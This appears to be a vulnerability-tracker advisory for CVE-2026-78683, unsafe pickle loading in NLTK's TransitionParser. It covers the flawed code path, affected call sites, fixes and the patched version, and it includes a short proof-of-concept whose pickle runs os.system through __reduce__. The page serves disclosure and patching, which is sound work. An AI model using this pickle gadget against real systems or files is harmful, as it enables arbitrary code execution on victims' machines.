CVE-2026-78683Critical▾ MidnightNLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution
▾ Midnight zone — Critical, or high with PoC / in-the-wild
impact 52.3 · likelihood 0.1 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Sep 2.
Disclosure to exploitation, from the record and what we observed since indexing it.
0.3%
Disclosed via OSV
critical → none
none → critical
critical → none
none → critical
critical → none
none → critical
critical → none
none → critical
critical → none
none → critical
critical → none
none → critical
The NLTK library's TransitionParser.parse() method deserializes model files using pickle_load() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.
File: nltk/parse/transitionparser.py (lines 542-557)
The parse() method calls pickle_load(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override find_class(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).
Vulnerability chain in nltk/picklesec.py:
def pickle_load(file, *, context=None, restricted=False):
if restricted:
return RestrictedUnpickler(file).load() # Safe: blocks all globals
return WarningUnpickler(file, context=context).load() # VULNERABLE PATH
WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().
Why this is not by design:
RestrictedUnpickler to block unsafe deserializationrestricted=True parameter exists in the API but is never used by any production code pathrestricted=False: transitionparser.py:557, parse/chartparser_app.py:816, parse/chartparser_app.py:2273, parse/chartparser_app.py:2311Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.
Exploitation path:
parser.parse(sentences, "/path/to/malicious_model.pkl")pickle_load() deserializes the file with restricted=False (default)Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.
transitionparser.py)Create a malicious pickle file that uses __reduce__ to execute a system command during deserialization.
Call TransitionParser().parse([], '/path/to/malicious_model.pkl').
The pickle_load(f) call at transitionparser.py:557 uses restricted=False by default, routing through WarningUnpickler, which does not override find_class() and permits full class resolution — executing the embedded gadget.
Arbitrary code executes with the victim's privileges.
Changing line 557 in transitionparser.py from:
model = pickle_load(f)
to:
model = pickle_load(f, restricted=True)
causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.
import pickle
import os
from nltk.parse.transitionparser import TransitionParser
# Create malicious pickle with RCE payload
class Exploit:
def __reduce__(self):
return (os.system, ('touch /tmp/nltk_poc_triggered',))
with open('/tmp/malicious_model.pkl', 'wb') as f:
pickle.dump(Exploit(), f)
# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)
parser = TransitionParser('arc-standard') # or 'arc-eager'
parser.parse([], '/tmp/malicious_model.pkl') # loads and unpickles unsafely
# Exploit succeeds: file /tmp/nltk_poc_triggered is created
On NLTK ≥ 3.10.0 (patched), the same code fails with:
_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist
This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.
Change all call sites to use restricted=True:
| File | Line | Before | After |
|---|---|---|---|
nltk/parse/transitionparser.py | 557 | pickle_load(f) | pickle_load(f, restricted=True) |
nltk/parse/chartparser_app.py | 816 | pickle_load(model_data_file) | pickle_load(model_data_file, restricted=True) |
nltk/parse/chartparser_app.py | 2273 | pickle_load(file) | pickle_load(file, restricted=True) |
nltk/parse/chartparser_app.py | 2311 | pickle_load(fp) | pickle_load(fp, restricted=True) |
Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.find_class().
nltk < 3.10.0Upgrade to a patched release:
nltk 3.10.0Field changes observed since this record was first indexed.
Connected by shared product, vendor, weakness, or advisory.
CVE-2026-79657CriticalNLTK: Allowlisted pickle loaders still permit code execution in current source
CVE-2026-63312High· 7.5NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open()
CVE-2026-62385Medium· 5.9NLTK versions before 3.10.0 contain a path traversal vulnerability in FramenetCorpusReader and NKJPCorpusReader that allows attackers to parse XML files outside the corpus root by supplying unsafe selectors or poisoned index state
CVE-2026-71513High· 8.8NLTK before 3.10.3 contains a remote code execution vulnerability in AllowlistUnpickler that validates only the pickle module string and not the global name, allowing attackers to resolve dotted names by attribute traversal to callables …
CVE-2024-39705High· 7.5ntlk unsafe deserialization vulnerability
CVE-2026-12259Medium· 5.3NLTK: Missing Post-Download Integrity Verification Allows Malicious Package Injection